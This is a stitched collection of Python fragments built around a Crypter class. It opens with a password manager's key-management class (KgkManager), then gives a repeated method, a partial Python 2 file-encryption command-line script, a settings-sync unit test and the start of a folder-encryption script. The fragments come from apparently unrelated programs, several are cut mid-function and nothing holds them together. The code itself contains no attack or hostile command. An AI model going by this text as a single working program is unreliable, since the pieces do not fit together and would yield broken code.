class KgkManager(object): """ New KgkManagers are uninitialized and need either a new kgk or get one by decrypting an existing one. """ def __init__(self): self.preference_manager = None self.kgk = b'' self.iv2 = None self.salt2 = None self.kgk_crypter = None self.salt = b'' def __str__(self): attr = ["KGK: " + str(hexlify(self.kgk), encoding='utf-8'), "salt: " + str(hexlify(self.salt), encoding='utf-8')] if self.iv2: attr.append("iv2: " + str(hexlify(self.iv2), encoding='utf-8')) if self.salt2: attr.append("salt2: " + str(hexlify(self.salt2), encoding='utf-8')) return "<" + ", ".join(attr) + ">" def set_preference_manager(self, preference_manager): """ Pass a preference manager to load and store settings locally :param preference_manager: :type preference_manager: PreferenceManager """ if type(preference_manager) != PreferenceManager: raise TypeError self.preference_manager = preference_manager def get_kgk_crypter_salt(self): """ Loads the public salt. If there is none it is created and stored. :return: """ self.salt = self.preference_manager.get_salt() if len(self.salt) != 32: self.salt = Crypter.createSalt() self.store_salt(self.salt) return self.salt def store_salt(self, salt): """ Stores the salt using the preference manager. :param salt: the salt :type salt: bytes """ if type(salt) == bytes: self.salt = salt if self.preference_manager: self.preference_manager.store_salt(salt) else: raise TypeError("There is no salt to be saved") def get_kgk_crypter(self, password, salt): """ Creates a kgk crypter for the given credentials. This is a very expensive operation. :param password: :type password: bytes :param salt: :type salt: bytes :return: a kgk crypter :rtype: Crypter """ self.kgk_crypter = Crypter(Crypter.createIvKey(password=password, salt=salt)) self.store_salt(salt=salt) return self.kgk_crypter def create_new_kgk(self): """ Creates a new kgk. This overwrites the previous one. :return: the new kgk :rtype: bytes """ self.kgk = os.urandom(64) self.iv2 = Crypter.createIv() self.salt2 = Crypter.createSalt() return self.kgk def decrypt_kgk(self, encrypted_kgk, kgk_crypter=None, password=b'', salt=b''): """ Decrypts kgk blobs. If a crypter is passed it is used. If none is passed a new crypter is created with the salt and password. This takes relatively long. If the encrypted_kgk has a wrong length a new kgk is created. :param encrypted_kgk: :type encrypted_kgk: bytes :param kgk_crypter: :type kgk_crypter: Crypter :param password: :type password: bytes :param salt: :type salt: bytes """ if kgk_crypter: self.kgk_crypter = kgk_crypter else: if len(salt) < 32: salt = Crypter.createSalt() self.get_kgk_crypter(password, salt) if len(encrypted_kgk) == 112: kgk_block = self.kgk_crypter.decrypt_unpadded(encrypted_kgk) self.salt2 = kgk_block[:32] self.iv2 = kgk_block[32:48] self.kgk = kgk_block[48:112] else: self.create_new_kgk() def get_kgk(self): """ Returns the kgk. :return: the kgk :rtype: bytes """ return self.kgk def has_kgk(self): """ Returns true if there is a kgk and a crypter. :return: kgk state :rtype: bool """ return not not self.kgk and len(self.kgk) == 64 and self.kgk_crypter def get_salt2(self): """ Returns the salt2 :return: salt2 :rtype: bytes """ return self.salt2 def get_iv2(self): """ Returns the iv2 :return: iv2 :rtype: bytes """ return self.iv2 def fresh_salt2(self): """ Creates a fresh salt for the settings encryption (salt2). """ self.salt2 = Crypter.createSalt() def fresh_iv2(self): """ Creates a fresh iv for the settings encryption (iv2). """ self.iv2 = Crypter.createIv() def get_encrypted_kgk(self): """ Returns an encrypted kgk block. :return: kgk block :rtype: bytes """ return self.kgk_crypter.encrypt_unpadded(self.salt2 + self.iv2 + self.kgk) def get_fresh_encrypted_kgk(self): """ Returns a new encrypted kgk block with fresh salt2 and iv2. This does not create a new kgk. :return: kgk block :rtype: bytes """ self.fresh_iv2() self.fresh_salt2() return self.get_encrypted_kgk() def create_and_save_new_kgk_block(self, kgk_crypter=None): """ Creates a fresh kgk block and saves it. :param kgk_crypter: :type kgk_crypter: Crypter :return: kgk block :rtype: bytes """ self.salt = Crypter.createSalt() self.store_salt(self.salt) if kgk_crypter: self.kgk_crypter = kgk_crypter kgk_block = self.get_fresh_encrypted_kgk() self.preference_manager.store_kgk_block(kgk_block) return kgk_block def update_from_blob(self, password, blob): """ Updates the kgk from a remote data blob. :param password: the masterpassword :type password: bytes :param blob: the encrypted data :type blob: bytes """ if blob[0] != 1 or len(blob) < 145: raise ValueError("Version error: Wrong data format. Could not import anything.") salt = blob[1:33] kgk_block = blob[33:145] self.decrypt_kgk(encrypted_kgk=kgk_block, password=password, salt=salt) def store_local_kgk_block(self): """ Stores the local kgk block. """ if self.preference_manager: self.preference_manager.store_kgk_block(self.get_encrypted_kgk()) if len(self.salt) == 32: self.store_salt(self.salt) else: raise ValueError("The salt has to be 32 bytes.") def reset(self): """ Resets the kgk manager. """ self.salt = b'' self.iv2 = None self.salt2 = None self.kgk = b'' self.kgk_crypter = None
def fresh_salt2(self): """ Creates a fresh salt for the settings encryption (salt2). """ self.salt2 = Crypter.createSalt()
cmdopts.error("ERROR: You need to specify the file to encrypt") cmdopts.print_help() sys.exit(0) if opts.key is None: cmdopts.error("ERROR: You need to specify the key for the encryption") cmdopts.print_help() sys.exit(0) if opts.block_size is not None: if opts.block_size <= 1024: cmdopts.error("ERROR: You need to specify the block_size greater than 1024") cmdopts.print_help() sys.exit(0) bs = opts.block_size sys.stdout.write("Initializing Crypter...") if opts.block_size is None: crp = Crypter(key=opts.key) else: crp = Crypter(key=opts.key, blocklimit=opts.block_size) print ('OK!') sys.stdout.write("Open and reading the file...") source_file = open(opts.file, 'rb') fc = source_file.read() print ('OK!') sys.stdout.write("Encrypting...") crp.encrypt_data(fc) blocks = crp.get_encrypted_blocks() print ('OK!') print "---------------------------------------" print "Original Data: (show first 50 Chars)" print fc[:50] source_hash = SHA256.new(fc).hexdigest()
def __init__(self, parser, password): self.crypter = Crypter(password) self.parser = parser
def test_update_from_sync(self): settings = { 'settings': { 'unit.test': { 'domain': 'unit.test', 'passwordTemplate': 'xxaAnoxxxxx', 'iterations': 5000, 'notes': 'Nice note!', 'salt': 'cGVwcGVy', 'usedCharacters': 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQRTUVWXYZ0123456789' + '#!"§$%&/()[]{}=-_+*<>;:.', 'cDate': '2011-02-12T11:07:31', 'mDate': '2011-02-12T11:07:32' }, 'some.domain': { 'domain': 'some.domain', 'passwordTemplate': 'oanA', 'iterations': 4096, 'salt': 'cGVwcGVy', 'usedCharacters': '6478593021', 'cDate': '2013-06-17T04:03:41', 'mDate': '2014-08-02T10:37:12' } }, 'synced': [] } salt = os.urandom(32) kgk_manager = KgkManager() kgk_manager.set_preference_manager(self.preference_manager) kgk_manager.create_new_kgk() kgk_block = kgk_manager.create_and_save_new_kgk_block( Crypter(Crypter.createIvKey('xyz'.encode('utf-8'), salt))) crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager) f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw') f.write(salt + kgk_block + crypter.encrypt( struct.pack('!I', 0) + Packer.compress(json.dumps(settings).encode('utf-8')))) f.close() self.preference_manager.read_file() self.manager.sync_manager = MockSyncManager(kgk_manager.get_kgk()) self.manager.load_settings(kgk_manager, 'xyz') self.assertIn('unit.test', self.manager.get_domain_list()) self.assertIn('some.domain', self.manager.get_domain_list()) self.assertIn('third.domain', self.manager.get_domain_list()) self.assertEqual( 5001, self.manager.get_setting('unit.test').get_iterations()) self.assertEqual( 4096, self.manager.get_setting('some.domain').get_iterations()) self.assertEqual( 4098, self.manager.get_setting('third.domain').get_iterations()) file = os.path.expanduser('~/.ctSESAM_test_extra.pws') if os.path.isfile(file): try: import win32con import win32api win32api.SetFileAttributes(file, win32con.FILE_ATTRIBUTE_NORMAL) except ImportError: pass os.remove(file)
dest = sys.argv[2] # Source folder does not exitsts if not os.path.isdir(src): print("Error: Source folder doesn't exists.") exit(1) # Dest can not be the same as source if dest == src: print( "Error: Destination directory can't be the same as source directory!" ) exit(1) # Init Crypter crypter = Crypter(verbose) # Print warning select = input( "Content of destination directory will be removed (if exists). Do you want continue? [y/n]\n" ) if (select != "y") and (select != "yes"): exit(0) temp = dest + '/temp' # Print init info print("Initializing...") crypter.initialize(src, dest) # Print analyze info